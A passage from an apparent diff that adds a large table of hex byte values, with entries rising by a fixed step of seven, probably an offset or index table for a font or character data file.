0x00, + 0x02, 0xBF, 0xB1, 0x00, 0x02, 0xBF, 0xB8, 0x00, + 0x02, 0xBF, 0xBF, 0x00, 0x02, 0xBF, 0xC6, 0x00, + 0x02, 0xBF, 0xCD, 0x00, 0x02, 0xBF, 0xD4, 0x00, + 0x02, 0xBF, 0xDB, 0x00, 0x02, 0xBF, 0xE2, 0x00, + 0x02, 0xBF, 0xE9, 0x00, 0x02, 0xBF, 0xF0, 0x00, + 0x02, 0xBF, 0xF7, 0x00, 0x02, 0xBF, 0xFE, 0x00, + 0x02, 0xC0, 0x05, 0x00, 0x02, 0xC0, 0x0C, 0x00, + 0x02, 0xC0, 0x13, 0x00, 0x02, 0xC0, 0x1A, 0x00, + 0x02, 0xC0, 0x21, 0x00, 0x02, 0xC0, 0x28, 0x00, + 0x02, 0xC0, 0x2F, 0x00, 0x02, 0xC0, 0x36, 0x00, + 0x02, 0xC0, 0x3D, 0x00, 0x02, 0xC0, 0x44, 0x00, + 0x02, 0xC0, 0x4B, 0x00, 0x02, 0xC0, 0x52, 0x00, + 0x02, 0xC0, 0x59, 0x00, 0x02, 0xC0, 0x60, 0x00, + 0x02, 0xC0, 0x67, 0x00, 0x02, 0xC0, 0x6E, 0x00, + 0x02, 0xC0, 0x75, 0x00, 0x02, 0xC0, 0x7C, 0x00, + 0x02, 0xC0, 0x83, 0x00, 0x02, 0xC0, 0x8A, 0x00, + 0x02, 0xC0, 0x91, 0x00, 0x02, 0xC0, 0x98, 0x00, + 0x02, 0xC0, 0x9F, 0x00, 0x02, 0xC0, 0xA6, 0x00, + 0x02, 0xC0, 0xAD, 0x00, 0x02, 0xC0, 0xB4, 0x00, + 0x02, 0xC0, 0xBB, 0x00, 0x02, 0xC0, 0xC2, 0x00, + 0x02, 0xC0, 0xC9, 0x00, 0x02, 0xC0, 0xD0, 0x00, + 0x02, 0xC0, 0xD7, 0x00, 0x02, 0xC0, 0xDE, 0x00, + 0x02, 0xC0, 0xE5, 0x00, 0x02, 0xC0, 0xEC, 0x00, + 0x02, 0xC0, 0xF3, 0x00, 0x02, 0xC0, 0xFA, 0x00, + 0x02, 0xC1, 0x01, 0x00, 0x02, 0xC1, 0x08, 0x00, + 0x02, 0xC1, 0x0F, 0x00, 0x02, 0xC1, 0x16, 0x00, + 0x02, 0xC1, 0x1D, 0x00, 0x02, 0xC1, 0x24, 0x00, + 0x02, 0xC1, 0x2B, 0x00, 0x02, 0xC1, 0x32, 0x00, + 0x02, 0xC1, 0x39, 0x00, 0x02, 0xC1, 0x40, 0x00, + 0x02, 0xC1, 0x47, 0x00, 0x02, 0xC1, 0x4E, 0x00, + 0x02, 0xC1, 0x55, 0x00, 0x02, 0xC1, 0x5C, 0x00, + 0x02, 0xC1, 0x63, 0x00, 0x02, 0xC1, 0x6A, 0x00, + 0x02, 0xC1, 0x71, 0x00, 0x02, 0xC1, 0x78, 0x00, + 0x02, 0xC1, 0x7F, 0x00, 0x02, 0xC1, 0x86, 0x00, + 0x02, 0xC1, 0x8D, 0x00, 0x02, 0xC1, 0x94, 0x00, + 0x02, 0xC1, 0x9B, 0x00, 0x02, 0xC1, 0xA2, 0x00, + 0x02, 0xC1, 0xA9, 0x00, 0x02, 0xC1, 0xB0, 0x00, + 0x02, 0xC1, 0xB7, 0x00, 0x02, 0xC1, 0xBE, 0x00, + 0x02, 0xC1, 0xC5, 0x00, 0x02, 0xC1, 0xCC, 0x00, + 0x02, 0xC1, 0xD3, 0x00, 0x02, 0xC1, 0xDA, 0x00, + 0x02, 0xC1, 0xE1, 0x00, 0x02, 0xC1, 0xE8, 0x00, + 0x02, 0xC1, 0xEF, 0x00, 0x02, 0xC1, 0xF6, 0x00, + 0x02, 0xC1, 0xFD, 0x00, 0x02, 0xC2, 0x04, 0x00, + 0x02, 0xC2, 0x0B, 0x00, 0x02, 0xC2, 0x12, 0x00, + 0x02, 0xC2, 0x19, 0x00, 0x02, 0xC2, 0x20, 0x00, + 0x02, 0xC2, 0x27, 0x00, 0x02, 0xC2, 0x2E, 0x00, + 0x02, 0xC2, 0x35, 0x00, 0x02, 0xC2, 0x3C, 0x00, + 0x02, 0xC2, 0x43, 0x00, 0x02, 0xC2, 0x4A, 0x00, + 0x02, 0xC2, 0x51, 0x00, 0x02, 0xC2, 0x58, 0x00, + 0x02, 0xC2, 0x5F, 0x00, 0x02, 0xC2, 0x66, 0x00, + 0x02, 0xC2, 0x6D, 0x00, 0x02, 0xC2, 0x74, 0x00, + 0x02, 0xC2, 0x7B, 0x00, 0x02, 0xC2, 0x82, 0x00, + 0x02, 0xC2, 0x89, 0x00, 0x02, 0xC2, 0x90, 0x00, + 0x02, 0xC2, 0x97, 0x00, 0x02, 0xC2, 0x9E, 0x00, + 0x02, 0xC2, 0xA5, 0x00, 0x02, 0xC2, 0xAC, 0x00, + 0x02, 0xC2, 0xB3, 0x00, 0x02, 0xC2, 0xBA, 0x00, + 0x02, 0xC2, 0xC1, 0x00, 0x02, 0xC2, 0xC8, 0x00, + 0x02, 0xC2, 0xCF, 0x00, 0x02, 0xC2, 0xD6, 0x00, + 0x02, 0xC2, 0xDD, 0x00, 0x02, 0xC2, 0xE4, 0x00, + 0x02, 0xC2, 0xEB, 0x00, 0x02, 0xC2, 0xF2, 0x00, + 0x02, 0xC2, 0xF9, 0x00, 0x02, 0xC3, 0x00, 0x00, + 0x02, 0xC3, 0x07, 0x00, 0x02, 0xC3, 0x0E, 0x00, + 0x02, 0xC3, 0x15, 0x00, 0x02, 0xC3, 0x1C, 0x00, + 0x02, 0xC3, 0x23, 0x00, 0x02, 0xC3, 0x2A, 0x00, + 0x02, 0xC3, 0x31, 0x00, 0x02, 0xC3, 0x38, 0x00, + 0x02, 0xC3, 0x3F, 0x00, 0x02, 0xC3, 0x46, 0x00, + 0x02, 0xC3, 0x4D, 0x00, 0x02, 0xC3, 0x54, 0x00, + 0x02, 0xC3, 0x5B, 0x00, 0x02, 0xC3, 0x62, 0x00, + 0x02, 0xC3, 0x69, 0x00, 0x02, 0xC3, 0x70, 0x00, + 0x02, 0xC3, 0x77, 0x00, 0x02, 0xC3, 0x7E, 0x00, + 0x02, 0xC3, 0x85, 0x00, 0x02, 0xC3, 0x8C, 0x00, + 0x02, 0xC3, 0x93, 0x00, 0x02, 0xC3, 0x9A, 0x00, + 0x02, 0xC3, 0xA1, 0x00, 0x02, 0xC3, 0xA8, 0x00, + 0x02, 0xC3, 0xAF, 0x00, 0x02, 0xC3, 0xB6, 0x00, + 0x02, 0xC3, 0xBD, 0x00, 0x02, 0xC3, 0xC4, 0x00, + 0x02, 0xC3, 0xCB, 0x00, 0x02, 0xC3, 0xD2, 0x00, + 0x02, 0xC3, 0xD9, 0x00, 0x02, 0xC3, 0xE0, 0x00, + 0x02, 0xC3, 0xE7, 0x00, 0x02, 0xC3, 0xEE, 0x00, + 0x02, 0xC3, 0xF5, 0x00, 0x02, 0xC3, 0xFC, 0x00, + 0x02, 0xC4, 0x03, 0x00, 0x02, 0xC4, 0x0A, 0x00, + 0x02, 0xC4, 0x11, 0x00, 0x02, 0xC4, 0x18, 0x00, + 0x02, 0xC4, 0x1F, 0x00, 0x02, 0xC4, 0x26, 0x00, + 0x02, 0xC4, 0x2D, 0x00, 0x02, 0xC4, 0x34, 0x00, + 0x02, 0xC4, 0x3B, 0x00, 0x02, 0xC4, 0x42, 0x00, + 0x02, 0xC4, 0x49, 0x00, 0x02, 0xC4, 0x50, 0x00, + 0x02, 0xC4, 0x57, 0x00, 0x02, 0xC4, 0x5E, 0x00, + 0x02, 0xC4, 0x65, 0x00, 0x02, 0xC4, 0x6C, 0x00, + 0x02, 0xC4, 0x73, 0x00, 0x02, 0xC4, 0x7A, 0x00, + 0x02, 0xC4, 0x81, 0x00, 0x02, 0xC4, 0x88, 0x00, + 0x02, 0xC4, 0x8F, 0x00, 0x02, 0xC4, 0x96, 0x00, + 0x02, 0xC4, 0x9D, 0x00, 0x02, 0xC4, 0xA4, 0x00, + 0x02, 0xC4, 0xAB, 0x00, 0x02, 0xC4, 0xB2, 0x00, + 0x02, 0xC4, 0xB9, 0x00, 0x02, 0xC4, 0xC0, 0x00, + 0x02, 0xC4, 0xC7, 0x00, 0x02, 0xC4, 0xCE, 0x00, + 0x02, 0xC4, 0xD5, 0x00, 0x02, 0xC4, 0xDC, 0x00, + 0x02, 0xC4, 0xE3, 0x00, 0x02, 0xC4, 0xEA, 0x00, + 0x02, 0xC4, 0xF1, 0x00, 0x02, 0xC4, 0xF8, 0x00, + 0x02, 0xC4, 0xFF, 0x00, 0x02, 0xC5, 0x06, 0x00, + 0x02, 0xC5, 0x0D, 0x00, 0x02, 0xC5, 0x14, 0x00, + 0x02, 0xC5, 0x1B, 0x00, 0x02, 0xC5, 0x22, 0x00, + 0x02, 0xC5, 0x29, 0x00, 0x02, 0xC5, 0x30, 0x00, + 0x02, 0xC5, 0x37, 0x00, 0x02, 0xC5, 0x3E, 0x00, + 0x02, 0xC5, 0x45, 0x00, 0x02, 0xC5, 0x4C, 0x00, + 0x02, 0xC5, 0x53, 0x00, 0x02, 0xC5, 0x5A, 0x00, + 0x02, 0xC5, 0x61, 0x00, 0x02, 0xC5, 0x68, 0x00, + 0x02, 0xC5, 0x6F, 0x00, 0x02, 0xC5, 0x76, 0x00, + 0x02, 0xC5, 0x7D, 0x00, 0x02, 0xC5, 0x84, 0x00, + 0x02, 0xC5, 0x8B, 0x00, 0x02, 0xC5, 0x92, 0x00, + 0x02, 0xC5, 0x99, 0x00, 0x02, 0xC5, 0xA0, 0x00, + 0x02, 0xC5, 0xA7, 0x00, 0x02, 0xC5, 0xAE, 0x00, + 0x02, 0xC5, 0xB5, 0x00, 0x02, 0xC5, 0xBC, 0x00, + 0x02, 0xC5, 0xC3, 0x00, 0x02, 0xC5, 0xCA, 0x00, + 0x02, 0xC5, 0xD1, 0x00, 0x02, 0xC5, 0xD8, 0x00, + 0x02, 0xC5, 0xDF, 0x00, 0x02, 0xC5, 0xE6, 0x00, + 0x02, 0xC5, 0xED, 0x00, 0x02, 0xC5, 0xF4, 0x00, + 0x02, 0xC5, 0xFB, 0x00, 0x02, 0xC6, 0x02, 0x00, + 0x02, 0xC6, 0x09, 0x00, 0x02, 0xC6, 0x10, 0x00, + 0x02, 0xC6, 0x17, 0x00, 0x02, 0xC6, 0x1E, 0x00, + 0x02, 0xC6, 0x25, 0x00, 0x02, 0xC6, 0x2C, 0x00, + 0x02, 0xC6, 0x33, 0x00, 0x02, 0xC6, 0x3A, 0x00, + 0x02, 0xC6, 0x41, 0x00, 0x02, 0xC6, 0x48, 0x00, + 0x02, 0xC6, 0x4F, 0x00, 0x02, 0xC6, 0x56, 0x00, + 0x02, 0xC6, 0x5D, 0x00, 0x02, 0xC6, 0x64, 0x00, + 0x02, 0xC6, 0x6B, 0x00, 0x02, 0xC6, 0x72, 0x00, + 0x02, 0xC6, 0x79, 0x00, 0x02, 0xC6, 0x80, 0x00, + 0x02, 0xC6, 0x87, 0x00, 0x02, 0xC6, 0x8E, 0x00, + 0x02, 0xC6, 0x95, 0x00, 0x02, 0xC6, 0x9C, 0x00, + 0x02, 0xC6, 0xA3, 0x00, 0x02, 0xC6, 0xAA, 0x00, + 0x02, 0xC6, 0xB1, 0x00, 0x02, 0xC6, 0xB8, 0x00, + 0x02, 0xC6, 0xBF, 0x00, 0x02, 0xC6, 0xC6, 0x00, + 0x02, 0xC6, 0xCD, 0x00, 0x02, 0xC6, 0xD4, 0x00, + 0x02, 0xC6, 0xDB, 0x00, 0x02, 0xC6, 0xE2, 0x00, + 0x02, 0xC6, 0xE9, 0x00, 0x02, 0xC6, 0xF0, 0x00, + 0x02, 0xC6, 0xF7, 0x00, 0x02, 0xC6, 0xFE, 0x00, + 0x02, 0xC7, 0x05, 0x00, 0x02, 0xC7, 0x0C, 0x00, + 0x02, 0xC7, 0x13, 0x00, 0x02, 0xC7, 0x1A, 0x00, + 0x02, 0xC7, 0x21, 0x00, 0x02, 0xC7, 0x28, 0x00, + 0x02, 0xC7, 0x2F, 0x00, 0x02, 0xC7, 0x36, 0x00, + 0x02, 0xC7, 0x3D, 0x00, 0x02, 0xC7, 0x44, 0x00, + 0x02, 0xC7, 0x4B, 0x00, 0x02, 0xC7, 0x52, 0x00, + 0x02, 0xC7, 0x59, 0x00, 0x02, 0xC7, 0x60, 0x00, + 0x02, 0xC7, 0x67, 0x00, 0x02, 0xC7, 0x6E, 0x00, + 0x02, 0xC7, 0x75, 0x00, 0x02, 0xC7, 0x7C, 0x00, + 0x02, 0xC7, 0x83, 0x00, 0x02, 0xC7, 0x8A, 0x00, + 0x02, 0xC7, 0x91, 0x00, 0x02, 0xC7, 0x98, 0x00, + 0x02, 0xC7, 0x9F, 0x00, 0x02, 0xC7, 0xA6, 0x00, + 0x02, 0xC7, 0xAD, 0x00, 0x02, 0xC7, 0xB4, 0x00, + 0x02, 0xC7, 0xBB, 0x00, 0x02, 0xC7, 0xC2, 0x00, + 0x02, 0xC7, 0xC9, 0x00, 0x02, 0xC7, 0xD0, 0x00, + 0x02, 0xC7, 0xD7, 0x00, 0x02, 0xC7, 0xDE, 0x00, + 0x02, 0xC7, 0xE5, 0x00, 0x02, 0xC7, 0xEC, 0x00, + 0x02, 0xC7, 0xF3, 0x00, 0x02, 0xC7, 0xFA, 0x00, + 0x02, 0xC8, 0x01, 0x00, 0x02, 0xC8, 0x08, 0x00, + 0x02, 0xC8, 0x0F, 0x00, 0x02, 0xC8, 0x16, 0x00, + 0x02, 0xC8, 0x1D, 0x00, 0x02, 0xC8, 0x24, 0x00, + 0x02, 0xC8, 0x2B, 0x00, 0x02, 0xC8, 0x32, 0x00, + 0x02, 0xC8, 0x39, 0x00, 0x02, 0xC8, 0x40, 0x00, + 0x02, 0xC8, 0x47, 0x00, 0x02, 0xC8, 0x4E, 0x00, + 0x02, 0xC8, 0x55, 0x00, 0x02, 0xC8, 0x5C, 0x00, + 0x02, 0xC8, 0x63, 0x00, 0x02, 0xC8, 0x6A, 0x00, + 0x02, 0xC8, 0x71, 0x00, 0x02, 0xC8, 0x78, 0x00, + 0x02, 0xC8, 0x7F, 0x00, 0x02, 0xC8, 0x86, 0x00, + 0x02, 0xC8, 0x8D, 0x00, 0x02, 0xC8, 0x94, 0x00, + 0x02, 0xC8, 0x9B, 0x00, 0x02, 0xC8, 0xA2, 0x00, + 0x02, 0xC8, 0xA9, 0x00, 0x02, 0xC8, 0xB0, 0x00, + 0x02, 0xC8, 0xB7, 0x00, 0x02, 0xC8, 0xBE, 0x00, + 0x02, 0xC8, 0xC5, 0x00, 0x02, 0xC8, 0xCC, 0x00, + 0x02, 0xC8, 0xD3, 0x00, 0x02, 0xC8, 0xDA, 0x00, + 0x02, 0xC8, 0xE1, 0x00, 0x02, 0xC8, 0xE8, 0x00, + 0x02, 0xC8, 0xEF, 0x00, 0x02, 0xC8, 0xF6, 0x00, + 0x02, 0xC8, 0xFD, 0x00, 0x02, 0xC9, 0x04, 0x00, + 0x02, 0xC9, 0x0B, 0x00, 0x02, 0xC9, 0x12, 0x00, + 0x02, 0xC9, 0x19, 0x00, 0x02, 0xC9, 0x20, 0x00, + 0x02, 0xC9, 0x27, 0x00, 0x02, 0xC9, 0x2E, 0x00, + 0x02, 0xC9, 0x35, 0x00, 0x02, 0xC9, 0x3C, 0x00, + 0x02, 0xC9, 0x43, 0x00, 0x02, 0xC9, 0x4A, 0x00, + 0x02, 0xC9, 0x51, 0x00, 0x02, 0xC9, 0x58, 0x00, + 0x02, 0xC9, 0x5F, 0x00, 0x02, 0xC9, 0x66, 0x00, + 0x02, 0xC9, 0x6D, 0x00, 0x02, 0xC9, 0x74, 0x00, + 0x02, 0xC9, 0x7B, 0x00, 0x02, 0xC9, 0x82, 0x00, + 0x02, 0xC9, 0x89, 0x00, 0x02, 0xC9, 0x90, 0x00, + 0x02, 0xC9, 0x97, 0x00, 0x02, 0xC9, 0x9E, 0x00, + 0x02, 0xC9, 0xA5, 0x00, 0x02, 0xC9, 0xAC, 0x00, + 0x02, 0xC9, 0xB3, 0x00, 0x02, 0xC9, 0xBA, 0x00, + 0x02, 0xC9, 0xC1, 0x00, 0x02, 0xC9, 0xC8, 0x00, + 0x02, 0xC9, 0xCF, 0x00, 0x02, 0xC9, 0xD6, 0x00, + 0x02, 0xC9, 0xDD, 0x00, 0x02, 0xC9, 0xE4, 0x00, + 0x02, 0xC9, 0xEB, 0x00, 0x02, 0xC9, 0xF2, 0x00, + 0x02, 0xC9, 0xF9, 0x00, 0x02, 0xCA, 0x00, 0x00, + 0x02, 0xCA, 0x07, 0x00, 0x02, 0xCA, 0x0E, 0x00, + 0x02, 0xCA, 0x15, 0x00, 0x02, 0xCA, 0x1C, 0x00, + 0x02, 0xCA, 0x23, 0x00, 0x02, 0xCA, 0x2A, 0x00, + 0x02, 0xCA, 0x31, 0x00, 0x02, 0xCA, 0x38, 0x00, + 0x02, 0xCA, 0x3F, 0x00, 0x02, 0xCA, 0x46, 0x00, + 0x02, 0xCA, 0x4D, 0x00, 0x02, 0xCA, 0x54, 0x00, + 0x02, 0xCA, 0x5B, 0x00, 0x02, 0xCA, 0x62, 0x00, + 0x02, 0xCA, 0x69, 0x00, 0x02, 0xCA, 0x70, 0x00, + 0x02, 0xCA, 0x77, 0x00, 0x02, 0xCA, 0x7E, 0x00, + 0x02, 0xCA, 0x85, 0x00, 0x02, 0xCA, 0x8C, 0x00, + 0x02, 0xCA, 0x93, 0x00, 0x02, 0xCA, 0x9A, 0x00, + 0x02, 0xCA, 0xA1, 0x00, 0x02, 0xCA, 0xA8, 0x00, + 0x02, 0xCA, 0xAF, 0x00, 0x02, 0xCA, 0xB6, 0x00, + 0x02, 0xCA, 0xBD, 0x00, 0x02, 0xCA, 0xC4, 0x00, + 0x02, 0xCA, 0xCB, 0x00, 0x02, 0xCA, 0xD2, 0x00, + 0x02, 0xCA, 0xD9, 0x00, 0x02, 0xCA, 0xE0, 0x00, + 0x02, 0xCA, 0xE7, 0x00, 0x02, 0xCA, 0xEE, 0x00, + 0x02, 0xCA, 0xF5, 0x00, 0x02, 0xCA, 0xFC, 0x00, + 0x02, 0xCB, 0x03, 0x00, 0x02, 0xCB, 0x0A, 0x00, + 0x02, 0xCB, 0x11, 0x00, 0x02, 0xCB, 0x18, 0x00, + 0x02, 0xCB, 0x1F, 0x00, 0x02, 0xCB, 0x26, 0x00, + 0x02, 0xCB, 0x2D, 0x00, 0x02, 0xCB, 0x34, 0x00, + 0x02, 0xCB, 0x3B, 0x00, 0x02, 0xCB, 0x42, 0x00, + 0x02, 0xCB, 0x49, 0x00, 0x02, 0xCB, 0x50, 0x00, + 0x02, 0xCB, 0x57, 0x00, 0x02, 0xCB, 0x5E, 0x00, + 0x02, 0xCB, 0x65, 0x00, 0x02, 0xCB, 0x6C, 0x00, + 0x02, 0xCB, 0x73, 0x00, 0x02, 0xCB, 0x7A, 0x00, + 0x02, 0xCB, 0x81, 0x00, 0x02, 0xCB, 0x88, 0x00, + 0x02, 0xCB, 0x8F, 0x00, 0x02, 0xCB, 0x96, 0x00, + 0x02, 0xCB, 0x9D, 0x00, 0x02, 0xCB, 0xA4, 0x00, + 0x02, 0xCB, 0xAB, 0x00, 0x02, 0xCB, 0xB2, 0x00, + 0x02, 0xCB, 0xB9, 0x00, 0x02, 0xCB, 0xC0, 0x00, + 0x02, 0xCB, 0xC7, 0x00, 0x02, 0xCB, 0xCE, 0x00, + 0x02, 0xCB, 0xD5, 0x00, 0x02, 0xCB, 0xDC, 0x00, + 0x02, 0xCB, 0xE3, 0x00, 0x02, 0xCB, 0xEA, 0x00, + 0x02, 0xCB, 0xF1, 0x00, 0x02, 0xCB, 0xF8, 0x00, + 0x02, 0xCB, 0xFF, 0x00, 0x02, 0xCC, 0x06, 0x00, + 0x02, 0xCC, 0x0D, 0x00, 0x02, 0xCC, 0x14, 0x00, + 0x02, 0xCC, 0x1B, 0x00, 0x02, 0xCC, 0x22, 0x00, + 0x02, 0xCC, 0x29, 0x00, 0x02, 0xCC, 0x30, 0x00, + 0x02, 0xCC, 0x37, 0x00, 0x02, 0xCC, 0x3E, 0x00, + 0x02, 0xCC, 0x45, 0x00, 0x02, 0xCC, 0x4C, 0x00, + 0x02, 0xCC, 0x53, 0x00, 0x02, 0xCC, 0x5A, 0x00, + 0x02, 0xCC, 0x61, 0x00, 0x02, 0xCC, 0x68, 0x00, + 0x02, 0xCC, 0x6F, 0x00, 0x02, 0xCC, 0x76, 0x00, + 0x02, 0xCC, 0x7D, 0x00, 0x02, 0xCC, 0x84, 0x00, + 0x02, 0xCC, 0x8B, 0x00, 0x02, 0xCC, 0x92, 0x00, + 0x02, 0xCC, 0x99, 0x00, 0x02, 0xCC, 0xA0, 0x00, + 0x02, 0xCC, 0xA7, 0x00, 0x02, 0xCC, 0xAE, 0x00, + 0x02, 0xCC, 0xB5, 0x00, 0x02, 0xCC, 0xBC, 0x00, + 0x02, 0xCC, 0xC3, 0x00, 0x02, 0xCC, 0xCA, 0x00, + 0x02, 0xCC, 0xD1, 0x00, 0x02, 0xCC, 0xD8, 0x00, + 0x02, 0xCC, 0xDF, 0x00, 0x02, 0xCC, 0xE6, 0x00, + 0x02, 0xCC, 0xED, 0x00, 0x02, 0xCC, 0xF4, 0x00, + 0x02, 0xCC, 0xFB, 0x00, 0x02, 0xCD, 0x02, 0x00, + 0x02, 0xCD, 0x09, 0x00, 0x02, 0xCD, 0x10, 0x00, + 0x02, 0xCD, 0x17, 0x00, 0x02, 0xCD, 0x1E, 0x00, + 0x02, 0xCD, 0x25, 0x00, 0x02, 0xCD, 0x2C, 0x00, + 0x02, 0xCD, 0x33, 0x00, 0x02, 0xCD, 0x3A, 0x00, + 0x02, 0xCD, 0x41, 0x00, 0x02, 0xCD, 0x48, 0x00, + 0x02, 0xCD, 0x4F, 0x00, 0x02, 0xCD, 0x56, 0x00, + 0x02, 0xCD, 0x5D, 0x00, 0x02, 0xCD, 0x64, 0x00, + 0x02, 0xCD, 0x6B, 0x00, 0x02, 0xCD, 0x72, 0x00, + 0x02, 0xCD, 0x79, 0x00, 0x02, 0xCD, 0x80, 0x00, + 0x02, 0xCD, 0x87, 0x00, 0x02, 0xCD, 0x8E, 0x00, + 0x02, 0xCD, 0x95, 0x00, 0x02, 0xCD, 0x9C, 0x00, + 0x02, 0xCD, 0xA3, 0x00, 0x02, 0xCD, 0xAA, 0x00, + 0x02, 0xCD, 0xB1, 0x00, 0x02, 0xCD, 0xB8, 0x00, + 0x02, 0xCD, 0xBF, 0x00, 0x02, 0xCD, 0xC6, 0x00, + 0x02, 0xCD, 0xCD, 0x00, 0x02, 0xCD, 0xD4, 0x00, + 0x02, 0xCD, 0xDB, 0x00, 0x02, 0xCD, 0xE2, 0x00, + 0x02, 0xCD, 0xE9, 0x00, 0x02, 0xCD, 0xF0, 0x00, + 0x02, 0xCD, 0xF7, 0x00, 0x02, 0xCD, 0xFE, 0x00, + 0x02, 0xCE, 0x05, 0x00, 0x02, 0xCE, 0x0C, 0x00, + 0x02, 0xCE, 0x13, 0x00, 0x02, 0xCE, 0x1A, 0x00, + 0x02, 0xCE, 0x21, 0x00, 0x02, 0xCE, 0x28, 0x00, + 0x02, 0xCE, 0x2F, 0x00, 0x02, 0xCE, 0x36, 0x00, + 0x02, 0xCE, 0x3D, 0x00, 0x02, 0xCE, 0x44, 0x00, + 0x02, 0xCE, 0x4B, 0x00, 0x02, 0xCE, 0x52, 0x00, + 0x02, 0xCE, 0x59, 0x00, 0x02, 0xCE, 0x60, 0x00, + 0x02, 0xCE, 0x67, 0x00, 0x02, 0xCE, 0x6E, 0x00, + 0x02, 0xCE, 0x75, 0x00, 0x02, 0xCE, 0x7C, 0x00, + 0x02, 0xCE, 0x83, 0x00, 0x02, 0xCE, 0x8A, 0x00, + 0x02, 0xCE, 0x91, 0x00, 0x02, 0xCE, 0x98, 0x00, + 0x02, 0xCE, 0x9F, 0x00, 0x02, 0xCE, 0xA6, 0x00, + 0x02, 0xCE, 0xAD, 0x00, 0x02, 0xCE, 0xB4, 0x00, + 0x02, 0xCE, 0xBB, 0x00, 0x02, 0xCE, 0xC2, 0x00, + 0x02, 0xCE, 0xC9, 0x00, 0x02, 0xCE, 0xD0, 0x00, + 0x02, 0xCE, 0xD7, 0x00, 0x02, 0xCE, 0xDE, 0x00, + 0x02, 0xCE, 0xE5, 0x00, 0x02, 0xCE, 0xEC, 0x00, + 0x02, 0xCE, 0xF3, 0x00, 0x02, 0xCE, 0xFA, 0x00, + 0x02, 0xCF, 0x01, 0x00, 0x02, 0xCF, 0x08, 0x00, + 0x02, 0xCF, 0x0F, 0x00, 0x02, 0xCF, 0x16, 0x00, + 0x02, 0xCF, 0x1D, 0x00, 0x02, 0xCF, 0x24, 0x00, + 0x02, 0xCF, 0x2B, 0x00, 0x02, 0xCF, 0x32, 0x00, + 0x02, 0xCF, 0x39, 0x00, 0x02, 0xCF, 0x40, 0x00, + 0x02, 0xCF, 0x47, 0x00, 0x02, 0xCF, 0x4E, 0x00, + 0x02, 0xCF, 0x55, 0x00, 0x02, 0xCF, 0x5C, 0x00, + 0x02, 0xCF, 0x63, 0x00, 0x02, 0xCF, 0x6A, 0x00, + 0x02, 0xCF, 0x71, 0x00, 0x02, 0xCF, 0x78, 0x00, + 0x02, 0xCF, 0x7F, 0x00, 0x02, 0xCF, 0x86, 0x00, + 0x02, 0xCF, 0x8D, 0x00, 0x02, 0xCF, 0x94, 0x00, + 0x02, 0xCF, 0x9B, 0x00, 0x02, 0xCF, 0xA2, 0x00, + 0x02, 0xCF, 0xA9, 0x00, 0x02, 0xCF, 0xB0, 0x00, + 0x02, 0xCF, 0xB7, 0x00, 0x02, 0xCF, 0xBE, 0x00, + 0x02, 0xCF, 0xC5, 0x00, 0x02, 0xCF, 0xCC, 0x00, + 0x02, 0xCF, 0xD3, 0x00, 0x02, 0xCF, 0xDA, 0x00, + 0x02, 0xCF, 0xE1, 0x00, 0x02, 0xCF, 0xE8, 0x00, + 0x02, 0xCF, 0xEF, 0x00, 0x02, 0xCF, 0xF6, 0x00, + 0x02, 0xCF, 0xFD, 0x00, 0x02, 0xD0, 0x04, 0x00, + 0x02, 0xD0, 0x0B, 0x00, 0x02, 0xD0, 0x12, 0x00, + 0x02, 0xD0, 0x19, 0x00, 0x02, 0xD0, 0x20, 0x00, + 0x02, 0xD0, 0x27, 0x00, 0x02, 0xD0, 0x2E, 0x00, + 0x02, 0xD0, 0x35, 0x00, 0x02, 0xD0, 0x3C, 0x00, + 0x02, 0xD0, 0x43, 0x00, 0x02, 0xD0, 0x4A, 0x00, + 0x02, 0xD0, 0x51, 0x00, 0x02, 0xD0, 0x58, 0x00, + 0x02, 0xD0, 0x5F, 0x00, 0x02, 0xD0, 0x66, 0x00, + 0x02, 0xD0, 0x6D, 0x00, 0x02, 0xD0, 0x74, 0x00, + 0x02, 0xD0, 0x7B, 0x00, 0x02, 0xD0, 0x82, 0x00, + 0x02, 0xD0, 0x89, 0x00, 0x02, 0xD0, 0x90, 0x00, + 0x02, 0xD0, 0x97, 0x00, 0x02, 0xD0, 0x9E, 0x00, + 0x02, 0xD0, 0xA5, 0x00, 0x02, 0xD0, 0xAC, 0x00, + 0x02, 0xD0, 0xB3, 0x00, 0x02, 0xD0, 0xBA, 0x00, + 0x02, 0xD0, 0xC1, 0x00, 0x02, 0xD0, 0xC8, 0x00, + 0x02, 0xD0, 0xCF, 0x00, 0x02, 0xD0, 0xD6, 0x00, + 0x02, 0xD0, 0xDD, 0x00, 0x02, 0xD0, 0xE4, 0x00, + 0x02, 0xD0, 0xEB, 0x00, 0x02, 0xD0, 0xF2, 0x00, + 0x02, 0xD0, 0xF9, 0x00, 0x02, 0xD1, 0x00, 0x00, + 0x02, 0xD1, 0x07, 0x00, 0x02, 0xD1, 0x0E, 0x00, + 0x02, 0xD1, 0x15, 0x00, 0x02, 0xD1, 0x1C, 0x00, + 0x02, 0xD1, 0x23, 0x00, 0x02, 0xD1, 0x2A, 0x00, + 0x02, 0xD1, 0x31, 0x00, 0x02, 0xD1, 0x38, 0x00, + 0x02, 0xD1, 0x3F, 0x00, 0x02, 0xD1, 0x46, 0x00, + 0x02, 0xD1, 0x4D, 0x00, 0x02, 0xD1, 0x54, 0x00, + 0x02, 0xD1, 0x5B, 0x00, 0x02, 0xD1, 0x62, 0x00, + 0x02, 0xD1, 0x69, 0x00, 0x02, 0xD1, 0x70, 0x00, + 0x02, 0xD1, 0x77, 0x00, 0x02, 0xD1, 0x7E, 0x00, + 0x02, 0xD1, 0x85, 0x00, 0x02, 0xD1, 0x8C, 0x00, + 0x02, 0xD1, 0x93, 0x00, 0x02, 0xD1, 0x9A, 0x00, + 0x02, 0xD1, 0xA1, 0x00, 0x02, 0xD1, 0xA8, 0x00, + 0x02, 0xD1, 0xAF, 0x00, 0x02, 0xD1, 0xB6, 0x00, + 0x02, 0xD1, 0xBD, 0x00, 0x02, 0xD1, 0xC4, 0x00, + 0x02, 0xD1, 0xCB, 0x00, 0x02, 0xD1, 0xD2, 0x00, + 0x02, 0xD1, 0xD9, 0x00, 0x02, 0xD1, 0xE0, 0x00, + 0x02, 0xD1, 0xE7, 0x00, 0x02, 0xD1, 0xEE, 0x00, + 0x02, 0xD1, 0xF5, 0x00, 0x02, 0xD1, 0xFC, 0x00, + 0x02, 0xD2, 0x03, 0x00, 0x02, 0xD2, 0x0A, 0x00, + 0x02, 0xD2, 0x11, 0x00, 0x02, 0xD2, 0x18, 0x00, + 0x02, 0xD2, 0x1F, 0x00, 0x02, 0xD2, 0x26, 0x00, + 0x02, 0xD2, 0x2D, 0x00, 0x02, 0xD2, 0x34, 0x00, + 